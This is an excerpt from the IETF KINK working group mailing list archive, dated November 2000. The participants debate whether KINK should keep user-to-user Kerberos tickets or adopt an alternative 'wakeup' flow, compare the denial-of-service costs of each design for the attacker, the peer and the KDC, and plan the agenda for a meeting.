_source_ rather than an uninterested third party as in above. Thus the CPU burden scorecard is: U-U Wakeup attacker low low peer low high kdc high high And this does not take into account the harm of an attacker with a legitimate TGT flooding the ticket cache of a peer which is also not a problem with the U-U approach. > A few roundtrips for a single connection is certainly no problem, when you > have 100,000 of them to a single server in a real-time application, it is a > real issue. The protocol will work either way, but I would not want to for > example downgrade the scalability of PacketCable architecture by using your > proposed approach. There are other ways to deal with this which don't need to involve the protocol itself. I don't favor building in a zombie attack into the protocol when other options are viable. Mike > > Sasha. > > > > -----Original Message----- > > From: Michael Thomas [mailto:mat@cisco.com] > > Sent: Friday, November 03, 2000 12:24 PM > > To: Medvinsky, Sasha (SD-EX) > > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > > Subject: RE: alternative to user-to-user Kerberos in KINK > > > > > > Medvinsky, Sasha (SD-EX) writes: > > > As per my previous email, I listed what I consider to be > > problems associated > > > with a server obtaining tickets for a large number of its > > clients. While I > > > would support a change to PKINIT that allows automatic > > generation of client > > > keys that are saved in the KDC database, I don't believe > > that it addresses > > > this issue. > > > > It would either eliminate or mitigate the need for U-U. > > > > The only other argument I see is the potential need for > > a server to get tickets for the clients in a failover > > situations, etc. IPsec keying is fundamentally a peer > > to peer protocol. In my opinion adding a mode > > which is vulnerable to DoS attacks (and worse, > > third party DoS attacks) to preserve a client > > server architecture is not a worthwhile > > tradeoff to save what amounts to disk space > > for a large ticket cache. Also: a server only > > needs to obtain tickets for clients if there > > does not exist an SA *and* it has a reason to > > talk to the client. Until then, the > > non-existence of the SA is not hurting much > > more than a possible extra round trip or two in > > exceptional conditions, assuming that the > > client does not key the SA itself. > > > > Mike > > > > > > > > > > > > Sasha. > > > > > > > > > > -----Original Message----- > > > > From: Michael Thomas [mailto:mat@cisco.com] > > > > Sent: Friday, November 03, 2000 11:45 AM > > > > To: Medvinsky, Sasha (SD-EX) > > > > Cc: 'ietf-kink@vpnc.org' > > > > Subject: alternative to user-to-user Kerberos in KINK > > > > > > > > > > > > > > > > After talking to Matt Hur about this and thinking > > > > about this for a long time, I think the better > > > > part of valor here may, in fact, be avoidance. > > > > > > > > Taking a giant step backward, the root of all of > > > > the trouble here is that KINK is, in fact, a peer > > > > to peer protocol where PKinit expects a client > > > > server relationship. The main problem is that > > > > PKinit authenticated clients do not share a > > > > symmetric key at the KDC so the KDC cannot issue a > > > > service ticket directly thus bringing on the > > > > issues related to user-user mode. If the PKinit > > > > client did share a key with the KDC, the KINK peer > > > > would just obtain a normal service ticket and that > > > > would be that. > > > > > > > > Therefore, I think that I agree with Matt's > > > > contention that a much better strategy for use of > > > > PKinit would be to use PKinit as an enrollment > > > > strategy into a kerberos realm rather than an > > > > authentication strategy, per se. Ie, a client > > > > authenticates to the KDC using a cert but the KDC > > > > then enrolls it with a symmetric key and saves > > > > that key in its principal database. I haven't > > > > looked at this exhaustively, but I think that this > > > > strategy could be implemented using either no or > > > > minimal changes to PKinit -- the obvious thing to > > > > do is use the session key from the TGT from the > > > > PKinit AS-REQ as the symmetric key. > > > > > > > > My proposal is that we deal with this problem as a > > > > PKinit issue rather than a KINK issue because this > > > > is a generic problem with PKinit -- KINK is just > > > > the first to stumble upon the implications of > > > > using PKinit in a peer to peer application. The > > > > advantage here is that we could avoid *all* > > > > unauthenticated requests which from a DoS > > > > standpoint seems like a much better idea. > > > > > > > > Mike > > > > > > > > Medvinsky, Sasha (SD-EX) writes: > > > > > The user-to-user Kerberos mode in KINK is intended to > > > > address the situation > > > > > with PKINIT clients that do not have symmetric client keys > > > > registered with > > > > > the KDC and therefore a Kerberized server cannot get a > > > > standard ticket for > > > > > such a client. But the server still has to obtain > > > > user-to-user tickets for > > > > > clients, which brings up the following issues: > > > > > > > > > > 1) Under some architecures, such as VoIP, fast failover > > > > time from a > > > > > primary to a backup application server is critical. With > > > > the current > > > > > protocol, the backup server would have to go to the KDC > > > > and get user-to-user > > > > > tickets for all of the clients with which it needs to > > > > establish IPSec SAs. > > > > > This adds to the recovery time and adds additional > > > > performance/reliability > > > > > requirements to the KDC. The number of clients per server > > > > can be large - > > > > > 100,000 clients / Call Server is possible in the > > > > PacketCable architecture. > > > > > > > > > > It is possible for the server to save > > user-to-user tickets and > > > > > corresponding session keys into some shared database, > > > > which is undesirable > > > > > in terms of complexity as well as security. > > > > > > > > > > 2) Load balancing between multiple Call Servers is > > > > sometimes used in > > > > > the VoIP architecture - support for it is mandatory in the > > > > PacketCable > > > > > standard. The user-to-user tickets again either add to > > > > the rekeying time > > > > > (which delays the switch-over time for a client between > > > > servers) or adds the > > > > > complication of a shared database of user-to-user tickets. > > > > > > > > > > 3) A standard Kerberized server that doesn't support the > > > > > user-to-user tickets is a lot simpler to implement. It > > > > would implement a > > > > > very small percentage of the Kerberos protocol - just > > the AP Req/AP > > > > > Rep/KRB-ERROR messages. With the user-to-user mode, the > > > > server needs the > > > > > complete Kerberos client implementation and in addition > > > > may need to support > > > > > a very large ticket cache for user-to-user tickets. > > > > > > > > > > 4) Setting per-user policy is awkward for > > user-to-user requests. > > > > > Normally, the user policy is associated with the client, > > > > but in this case > > > > > the client is the server. Kerberos allows a user to pass > > > > authorization data > > > > > in a TGS Request (which may be insecure, depending on the > > > > content of that > > > > > authorization data), which would not be possible if it is > > > > the server getting > > > > > a ticket for the client. > > > > > > > > > > 5) Setting per-user policy in a cross-realm > > case is even more > > > > > awkward. The server's GetTGT request would most likely > > > > contain the server's > > > > > realm name (as the server may not know the client's > > > > realm). This means that > > > > > the response to the GetTGT will contain a cross-realm TGT > > > > for the client. > > > > > So, the server's KDC will wind up issuing a server a > > > > user-to-user ticket for > > > > > a client principal that is not even in that KDC's realm. > > > > > > > > > > There are alternative methods for handling PKINIT clients > > > > that address most > > > > > of the above issues. What I propose, is the following > > > > modification to the > > > > > protocol. The GetTGT message flow in section 4.2 can be > > > > replaced with the > > > > > following: > > > > > > > > > > A > > > > > B > > > > > ------ > > > > > ------ > > > > > 1 AuthenticateRequest+ServerPrincipalName---------------> > > > > > > > > > > 2 > > > > <------------------------------------AuthenticateReply+AP_REQ > > > > > > > > > > 3 CREATE+ISAKMP (keyed cksum with sess key)--------> > > > > > > > > > > 4 <------------REPLY+ISAKMP(keyed cksum with sess key) > > > > > > > > > > In the above flows, there needs to be a way to tie flows 2 > > > > and 3 together - > > > > > for example the client timestamp inside AP_REQ can be > > > > repeated in flow 3. > > > > > In addition, there is already an XID in the header for > > > > this key management > > > > > session. (It is also possible to include the AP_REP > > in flow 3.) > > > > > > > > > > In the above flows, the AuthenticateRequest is not > > > > authenticated, just like > > > > > the GetTGT message. There is the denial of service > > > > argument against the > > > > > above flow since anyone can send the AuthenticateRequest. > > > > If C impersonates > > > > > A and sends the AuthenticateRequest, B will have to reply, > > > > but A will reject > > > > > the reply because the XID (session ID in the header) will > > > > not match anything > > > > > that A sent out. The denial of service arguments are: > > > > > > > > > > a) denial of service on the KDC - B may need to get a > > > > ticket for A > > > > > if it doesn't have it already. But, even if KDC receives > > > > an invalid > > > > > TGS_REQ, it still has to decrypt it to see that it is > > > > invalid. I don't > > > > > think that the extra work of issuing a ticket is a major > > > > problem. Also, > > > > > clients should cache the tickets, and the number of > > > > servers in the KDC > > > > > database is probably not that big. Also, the clients > > > > should excersize > > > > > access control and know ahead of time which servers they > > > > should be talking > > > > > to. > > > > > > > > > > b) denial of service on the clients - this is similar > > > > to (a), except > > > > > that the client's ticket cache is filled up. This is > > > > really the same case > > > > > as (a), because when the client's ticket cache is filled > > > > up it can remove > > > > > one of the entries. It just means that if the client gets > > > > a request that > > > > > needs the removed ticket, the client will request it from > > > > the KDC again. > > > > > > > > > > Also, with the current KINK protocol, similar denial of > > > > service attacks are > > > > > possible. In that protocol, the GetTGT message only > > > > specifies the realm. > > > > > If the server doesn't know the client's name, it might get > > > > the wrong client > > > > > TGT and get a user-to-user ticket for a wrong client. If > > > > the server then > > > > > finds out that the resulting user-to-user ticket is not > > > > accepted by the > > > > > legitimate client, it will probably retry with another > > > > GetTGT message that > > > > > could also result in a wrong TGT (inserted by an > > > > adversary) and then a wrong > > > > > user-to-user ticket, ... > > > > > > > > > > > > > > > From owner-ietf-kink Thu Nov 9 12:38:28 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id MAA00674 for ietf-kink-bks; Thu, 9 Nov 2000 12:38:28 -0800 (PST) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA00661 for ; Thu, 9 Nov 2000 12:38:24 -0800 (PST) Received: from mira-sjc5-5.cisco.com (mira-sjc5-5.cisco.com [171.71.163.22]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id MAA26181 for ; Thu, 9 Nov 2000 12:45:12 -0800 (PST) Received: from mhur-w2k1.cisco.com (sjc-vpn-66.cisco.com [10.21.64.66]) by mira-sjc5-5.cisco.com (Mirapoint) with ESMTP id AAB02222; Thu, 9 Nov 2000 12:45:08 -0800 (PST) Message-Id: <4.3.2.7.2.20001109124546.00b54c18@mira-sjc5-5.cisco.com> X-Sender: mhur@mira-sjc5-5.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 09 Nov 2000 12:46:59 -0800 To: ietf-kink@vpnc.org From: Matthew Hur Subject: meeting agenda? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Do we have a meeting slot and agenda yet for the San Diego IETF? Mike, were you going to run through an overview and open issues for the protocol draft? --Matt From owner-ietf-kink Thu Nov 9 13:01:50 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA01554 for ietf-kink-bks; Thu, 9 Nov 2000 13:01:50 -0800 (PST) Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA01550 for ; Thu, 9 Nov 2000 13:01:47 -0800 (PST) Received: from GRAND-CENTRAL-STATION.MIT.EDU by MIT.EDU with SMTP id AA09849; Thu, 9 Nov 00 16:08:15 EST Received: from melbourne-city-street.MIT.EDU (MELBOURNE-CITY-STREET.MIT.EDU [18.69.0.45]) by grand-central-station.MIT.EDU (8.9.2/8.9.2) with ESMTP id QAA02127; Thu, 9 Nov 2000 16:08:39 -0500 (EST) Received: from indiana.mit.edu (INDIANA.MIT.EDU [18.18.1.138]) by melbourne-city-street.MIT.EDU (8.9.3/8.9.2) with ESMTP id QAA16806; Thu, 9 Nov 2000 16:08:35 -0500 (EST) Received: (from warlord@localhost) by indiana.mit.edu (8.9.3) id QAA05076; Thu, 9 Nov 2000 16:08:34 -0500 (EST) To: Matthew Hur Cc: ietf-kink@vpnc.org Subject: Re: meeting agenda? References: <4.3.2.7.2.20001109124546.00b54c18@mira-sjc5-5.cisco.com> From: Derek Atkins Date: 09 Nov 2000 16:08:34 -0500 In-Reply-To: Matthew Hur's message of "Thu, 09 Nov 2000 12:46:59 -0800" Message-Id: Lines: 22 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: We currently have a 1 hour slot on Tuesday, however we do not, yet, have an agenda, as nobody has said they have anything to say :) So, if you want to speak in San Diego, let me know. Soon. If we need more than an hour, I need to let the Secretariat know by next week. -derek Matthew Hur writes: > Do we have a meeting slot and agenda yet for the San Diego IETF? > > Mike, were you going to run through an overview and open issues for the > protocol draft? > > --Matt > -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Thu Nov 9 13:22:19 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id NAA01903 for ietf-kink-bks; Thu, 9 Nov 2000 13:22:19 -0800 (PST) Received: from fort-point-station.mit.edu (FORT-POINT-STATION.MIT.EDU [18.72.0.53]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA01898 for ; Thu, 9 Nov 2000 13:22:16 -0800 (PST) Received: from grand-central-station.MIT.EDU (GRAND-CENTRAL-STATION.MIT.EDU [18.69.0.34]) by fort-point-station.mit.edu (8.9.2/8.9.2) with ESMTP id QAA01903 for ; Thu, 9 Nov 2000 16:29:02 -0500 (EST) Received: from melbourne-city-street.MIT.EDU (MELBOURNE-CITY-STREET.MIT.EDU [18.69.0.45]) by grand-central-station.MIT.EDU (8.9.2/8.9.2) with ESMTP id QAA08879 for ; Thu, 9 Nov 2000 16:29:01 -0500 (EST) Received: from indiana.mit.edu (INDIANA.MIT.EDU [18.18.1.138]) by melbourne-city-street.MIT.EDU (8.9.3/8.9.2) with ESMTP id QAA24189 for ; Thu, 9 Nov 2000 16:29:01 -0500 (EST) Received: (from warlord@localhost) by indiana.mit.edu (8.9.3) id QAA05109; Thu, 9 Nov 2000 16:29:01 -0500 (EST) To: ietf-kink@vpnc.org Subject: San Diego Agenda: Call for speakers From: Derek Atkins Date: 09 Nov 2000 16:29:00 -0500 Message-ID: Lines: 24 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, I'm currently working on a draft agenda for San Diego. According to the IETF Agenda, we have Tuesday afternoon, 1300-1400. Obviously that is subject to change. My goals for San Diego: finalize the requirements document and issue a last call discuss the draft protocol As I mentioned in a previous mail, if you want to speak in San Diego, let me know SOON. If you don't warn me by mid week next week, then you may not get a chance to speak. So, let me know sooner (rather than later) Thanks, -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Fri Nov 10 12:42:11 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id MAA04115 for ietf-kink-bks; Fri, 10 Nov 2000 12:42:11 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA04110 for ; Fri, 10 Nov 2000 12:42:09 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JWDJ8GH22IEZM1VM@GI.COM> for ietf-kink@vpnc.org; Fri, 10 Nov 2000 12:48:39 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Fri, 10 Nov 2000 12:47:38 -0500 Content-return: allowed Date: Fri, 10 Nov 2000 15:50:40 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Ken Hornstein'" , "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4857@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Ken, This includes both AS_REQ and TGS_REQ. In my proposal, a Kerberized server would not have to generate either. The key management protocol between the IPSec peers is not Kerberos anyway - it just utilizes Kerberos objects for authentication. Sasha. > -----Original Message----- > From: Ken Hornstein [mailto:kenh@cmf.nrl.navy.mil] > Sent: Tuesday, October 31, 2000 3:01 PM > To: 'ietf-kink@vpnc.org' > Subject: Re: alternative to user-to-user Kerberos in KINK > > > > 3) A standard Kerberized server that doesn't support the > >user-to-user tickets is a lot simpler to implement. > > If you don't handle a TGS_REQ, I don't think you could call > it "Kerberos"; > and from looking at a sample KDC, I don't think a TGS_REQ > really adds that > much complexity (compared to how much else you have to implement to > do Kerberos). > > --Ken > From owner-ietf-kink Mon Nov 13 08:21:04 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id IAA04859 for ietf-kink-bks; Mon, 13 Nov 2000 08:21:04 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA04855 for ; Mon, 13 Nov 2000 08:21:03 -0800 (PST) Received: from cmf.nrl.navy.mil (elvis.cmf.nrl.navy.mil [134.207.10.38]) (authenticated) by ginger.cmf.nrl.navy.mil (8.10.1/8.10.1) with ESMTP id eADGRxH03274; Mon, 13 Nov 2000 11:28:00 -0500 (EST) Message-Id: <200011131628.eADGRxH03274@ginger.cmf.nrl.navy.mil> To: "Medvinsky, Sasha (SD-EX)" cc: "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "Fri, 10 Nov 2000 15:50:40 EST." <97DEDE66B3DCD11199D200805FA71BE202FD4857@ntas0027.gi.com> X-Face: "Evs"_GpJ]],xS)b$T2#V&{KfP_i2`TlPrY$Iv9+TQ!6+`~+l)#7I)0xr1>4hfd{#0B4 WIn3jU;bql;{2Uq%zw5bF4?%F&&j8@KaT?#vBGk}u07<+6/`.F-3_GA@6Bq5gN9\+s;_d gD\SW #]iN_U0 KUmOR.P<|um5yPkEpSD@*e` Date: Mon, 13 Nov 2000 11:27:59 -0500 From: Ken Hornstein Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >This includes both AS_REQ and TGS_REQ. In my proposal, a Kerberized server >would not have to generate either. The key management protocol between the >IPSec peers is not Kerberos anyway - it just utilizes Kerberos objects for >authentication. I understand that, but one of your justifications is that it's easier to develop a KDC that doesn't have to implement U2U tickets. My point is: a) I'm not convinced it's significantly easier b) Such a KDC couldn't claim to implement the Kerberos protocol So I don't think this is a very good argument. --Ken From owner-ietf-kink Mon Nov 13 10:25:37 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id KAA12759 for ietf-kink-bks; Mon, 13 Nov 2000 10:25:37 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA12753 for ; Mon, 13 Nov 2000 10:25:36 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JWHLCERKO2EZNSTN@GI.COM> for ietf-kink@vpnc.org; Mon, 13 Nov 2000 10:32:16 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Mon, 13 Nov 2000 10:31:13 -0500 Content-return: allowed Date: Mon, 13 Nov 2000 13:34:29 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Ken Hornstein'" Cc: "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4869@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Ken, I am sorry if my email was confusing in that regard - I probably said that it is easier to implement a "server", which definitely did not mean the KDC. I agree that what I proposed has no effect on the development of the KDC. I would say that a general-purpose KDC should implement U2U regardless. I was talking about a Kerberized service, not a KDC. This is a Kerberized service that accepts AP Requests and responds with AP Replies. I was proposing that a Kerberized service is able to initiate Kerberized key management without the need to obtain (U2U) tickets for its clients. Sasha. > -----Original Message----- > From: Ken Hornstein [mailto:kenh@cmf.nrl.navy.mil] > Sent: Monday, November 13, 2000 8:28 AM > To: Medvinsky, Sasha (SD-EX) > Cc: 'ietf-kink@vpnc.org' > Subject: Re: alternative to user-to-user Kerberos in KINK > > > >This includes both AS_REQ and TGS_REQ. In my proposal, a > Kerberized server > >would not have to generate either. The key management > protocol between the > >IPSec peers is not Kerberos anyway - it just utilizes > Kerberos objects for > >authentication. > > I understand that, but one of your justifications is that it's easier > to develop a KDC that doesn't have to implement U2U tickets. My point > is: > > a) I'm not convinced it's significantly easier > b) Such a KDC couldn't claim to implement the Kerberos protocol > > So I don't think this is a very good argument. > > --Ken > From owner-ietf-kink Mon Nov 13 12:15:44 2000 Received: by ns.secondary.com (8.9.3/8.9.3) id MAA18479 for ietf-kink-bks; Mon, 13 Nov 2000 12:15:44 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA18475 for ; Mon, 13 Nov 2000 12:15:42 -0800 (PST) Received: from cmf.nrl.navy.mil (elvis.cmf.nrl.navy.mil [134.207.10.38]) (authenticated) by ginger.cmf.nrl.navy.mil (8.10.1/8.10.1) with ESMTP id eADKMnH05309; Mon, 13 Nov 2000 15:22:49 -0500 (EST) Message-Id: <200011132022.eADKMnH05309@ginger.cmf.nrl.navy.mil> To: "Medvinsky, Sasha (SD-EX)" cc: "'ietf-kink@vpnc.org'" Subject: Re: alternative to user-to-user Kerberos in KINK In-reply-to: Your message of "Mon, 13 Nov 2000 13:34:29 EST." <97DEDE66B3DCD11199D200805FA71BE202FD4869@ntas0027.gi.com> X-Face: "Evs"_GpJ]],xS)b$T2#V&{KfP_i2`TlPrY$Iv9+TQ!6+`~+l)#7I)0xr1>4hfd{#0B4 WIn3jU;bql;{2Uq%zw5bF4?%F&&j8@KaT?#vBGk}u07<+6/`.F-3_GA@6Bq5gN9\+s;_d gD\SW #]iN_U0 KUmOR.P<|um5yPkEpSD@*e` Date: Mon, 13 Nov 2000 15:22:48 -0500 From: Ken Hornstein Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >I was talking about a Kerberized service, not a KDC. This is a Kerberized >service that accepts AP Requests and responds with AP Replies. I was >proposing that a Kerberized service is able to initiate Kerberized key >management without the need to obtain (U2U) tickets for its clients. Ah, okay, I understand now. FWIW, I prefer the term "application servers" to minimize confusion between the KDC and other servers. --Ken From owner-ietf-kink Tue Nov 14 12:06:06 2000 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id MAA16286 for ietf-kink-bks; Tue, 14 Nov 2000 12:06:06 -0800 (PST) Received: from ariel.gi.com (ariel.gi.com [168.84.84.10]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA16281 for ; Tue, 14 Nov 2000 12:06:04 -0800 (PST) Received: from ntas0028.gi.com ([168.84.84.98]) by GI.COM (PMDF V5.2-31 #46260) with ESMTP id <01JWJ35MLQTUEZP7TD@GI.COM> for ietf-kink@vpnc.org; Tue, 14 Nov 2000 12:12:58 PST Received: by ntas0028.gi.com with Internet Mail Service (5.5.2650.21) id ; Tue, 14 Nov 2000 12:11:56 -0500 Content-return: allowed Date: Tue, 14 Nov 2000 15:15:12 -0500 From: "Medvinsky, Sasha (SD-EX)" Subject: RE: alternative to user-to-user Kerberos in KINK To: "'Michael Thomas'" Cc: "'ietf-kink@vpnc.org'" Message-id: <97DEDE66B3DCD11199D200805FA71BE202FD4887@ntas0027.gi.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-type: text/plain; charset="iso-8859-1" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Mike, My replies are below. > -----Original Message----- > From: Michael Thomas [mailto:mat@cisco.com] > Sent: Saturday, November 04, 2000 11:18 AM > To: Medvinsky, Sasha (SD-EX) > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > Subject: RE: alternative to user-to-user Kerberos in KINK > > > Medvinsky, Sasha (SD-EX) writes: > > DoS attacks are always possible - it is just a matter of > degree. As I > > described them in my previous email, I don't see those > denial of service > > attacks as serious. > > I would say that any scenario which explicitly allows for > a third party DoS attack against a KDC is pretty suspect. > With the wakeup method you propose, the attacker merely > spoofs the address of the peer and attaches an appropriate > number of bits to resemble a ticket. Computationally, this > is trivial. However, the receiver would then have to > create an TGS-REQ with the two tickets and send the > request to the KDC. This is computationally expensive. [sasha] I was not proposing the U2U mode - there is only one ticket in the TGS-REQ. Regardless, symmetric key encryption is not that expensive, not any more expensive than say sending out IP packets protected with IPSec ESP. Also, consider just receiving a bad AP Request - it has to be decrypted and validated (or invalidated). That is the same amount of work. And, if the client already has a ticket for that server - it won't send out a TGS-REQ. Also, the client should really have an Access Control List of the servers it wants to talk to and would not normally respond to a request from a server it doesn't know about. Even if a client did respond to any such server - the KDC has only a limited number of them in its database. > The KDC would then have to decrypt the request and > act on it which is computationally expensive. [sasha] Decrypting a valid TGS-REQ is not any more expensive than decrypting and invalidating a bogus TGS-REQ that anyone can send out. Genetating a reply for a valid request would triple the cryptographic work done by the KDC (it has to encrypt the ticket and TGS-REP). However, since clients cache tickets and should have an ACL of servers, it is a lot easier to overwhelm the KDC by just sending it bad AS-REQ messages with PKINIT, forcing the KDC to perform digital signature verifications. Also, the Kerberos specification explicitly states that it does not address denial of service. > > In the U-U scenario, the burden of creating the > TGS-REQ lies on the attacker. The GetTGT > response is not authenticated so it costs the > receiver little. The cost at the KDC is the > same. However, there is little profit in > involving the U-U peer if the attacker doesn't already > have a legitimate TGT: the attacker could just > as easily have spoofed the entire U-U TGS-REQ > to cause a direct DoS attack on the KDC. Also: the > attack originates from its _source_ rather than > an uninterested third party as in above. > > Thus the CPU burden scorecard is: > > U-U Wakeup > attacker low low > peer low high [sasha]As I commented above, encrypting a TGS-REQ hardly qualifies as a high cost to the peer. In a normal scenario where either peer can send an AP-REQ, having to decrypt and invalidate a bogus AP-REQ is the same amount of work. > kdc high high > > And this does not take into account the harm > of an attacker with a legitimate TGT flooding > the ticket cache of a peer which is also not > a problem with the U-U approach. > > > A few roundtrips for a single connection is certainly no > problem, when you > > have 100,000 of them to a single server in a real-time > application, it is a > > real issue. The protocol will work either way, but I > would not want to for > > example downgrade the scalability of PacketCable > architecture by using your > > proposed approach. > > There are other ways to deal with this which > don't need to involve the protocol itself. > I don't favor building in a zombie attack into > the protocol when other options are viable. > > Mike > > > > > Sasha. > > > > > > > -----Original Message----- > > > From: Michael Thomas [mailto:mat@cisco.com] > > > Sent: Friday, November 03, 2000 12:24 PM > > > To: Medvinsky, Sasha (SD-EX) > > > Cc: 'Michael Thomas'; 'ietf-kink@vpnc.org' > > > Subject: RE: alternative to user-to-user Kerberos in KINK > > > > > > > > > Medvinsky, Sasha (SD-EX) writes: > > > > As per my previous email, I listed what I consider to be > > > problems associated > > > > with a server obtaining tickets for a large number of its > > > clients. While I > > > > would support a change to PKINIT that allows automatic > > > generation of client > > > > keys that are saved in the KDC database, I don't believe > > > that it addresses > > > > this issue. > > > > > > It would either eliminate or mitigate the need for U-U. > > > > > > The only other argument I see is the potential need for > > > a server to get tickets for the clients in a failover > > > situations, etc. IPsec keying is fundamentally a peer > > > to peer protocol. In my opinion adding a mode > > > which is vulnerable to DoS attacks (and worse, > > > third party DoS attacks) to preserve a client > > > server architecture is not a worthwhile > > > tradeoff to save what amounts to disk space > > > for a large ticket cache. Also: a server only > > > needs to obtain tickets for clients if there > > > does not exist an SA *and* it has a reason to > > > talk to the client. Until then, the > > > non-existence of the SA is not hurting much > > > more than a possible extra round trip or two in > > > exceptional conditions, assuming that the > > > client does not key the SA itself. > > > > > > Mike > > > > > > > > > > > > > > > > > Sasha. > > > > > > > > > > > > > -----Original Message----- > > > > > From: Michael Thomas [mailto:mat@cisco.com] > > > > > Sent: Friday, November 03, 2000 11:45 AM > > > > > To: Medvinsky, Sasha (SD-EX) > > > > > Cc: 'ietf-kink@vpnc.org' > > > > > Subject: alternative to user-to-user Kerberos in KINK > > > > > > > > > > > > > > > > > > > > After talking to Matt Hur about this and thinking > > > > > about this for a long time, I think the better > > > > > part of valor here may, in fact, be avoidance. > > > > > > > > > > Taking a giant step backward, the root of all of > > > > > the trouble here is that KINK is, in fact, a peer > > > > > to peer protocol where PKinit expects a client > > > > > server relationship. The main problem is that > > > > > PKinit authenticated clients do not share a > > > > > symmetric key at the KDC so the KDC cannot issue a > > > > > service ticket directly thus bringing on the > > > > > issues related to user-user mode. If the PKinit > > > > > client did share a key with the KDC, the KINK peer > > > > > would just obtain a normal service ticket and that > > > > > would be that. > > > > > > > > > > Therefore, I think that I agree with Matt's > > > > > contention that a much better strategy for use of > > > > > PKinit would be to use PKinit as an enrollment > > > > > strategy into a kerberos realm rather than an > > > > > authentication strategy, per se. Ie, a client > > > > > authenticates to the KDC using a cert but the KDC > > > > > then enrolls it with a symmetric key and saves > > > > > that key in its principal database. I haven't > > > > > looked at this exhaustively, but I think that this > > > > > strategy could be implemented using either no or > > > > > minimal changes to PKinit -- the obvious thing to > > > > > do is use the session key from the TGT from the > > > > > PKinit AS-REQ as the symmetric key. > > > > > > > > > > My proposal is that we deal with this problem as a > > > > > PKinit issue rather than a KINK issue because this > > > > > is a generic problem with PKinit -- KINK is just > > > > > the first to stumble upon the implications of > > > > > using PKinit in a peer to peer application. The > > > > > advantage here is that we could avoid *all* > > > > > unauthenticated requests which from a DoS > > > > > standpoint seems like a much better idea. > > > > > > > > > > Mike > > > > > > > > > > Medvinsky, Sasha (SD-EX) writes: > > > > > > The user-to-user Kerberos mode in KINK is intended to > > > > > address the situation > > > > > > with PKINIT clients that do not have symmetric > client keys > > > > > registered with > > > > > > the KDC and therefore a Kerberized server cannot get a > > > > > standard ticket for > > > > > > such a client. But the server still has to obtain > > > > > user-to-user tickets for > > > > > > clients, which brings up the following issues: > > > > > > > > > > > > 1) Under some architecures, such as VoIP, fast failover > > > > > time from a > > > > > > primary to a backup application server is > critical. With > > > > > the current > > > > > > protocol, the backup server would have to go to the KDC > > > > > and get user-to-user > > > > > > tickets for all of the clients with which it needs to > > > > > establish 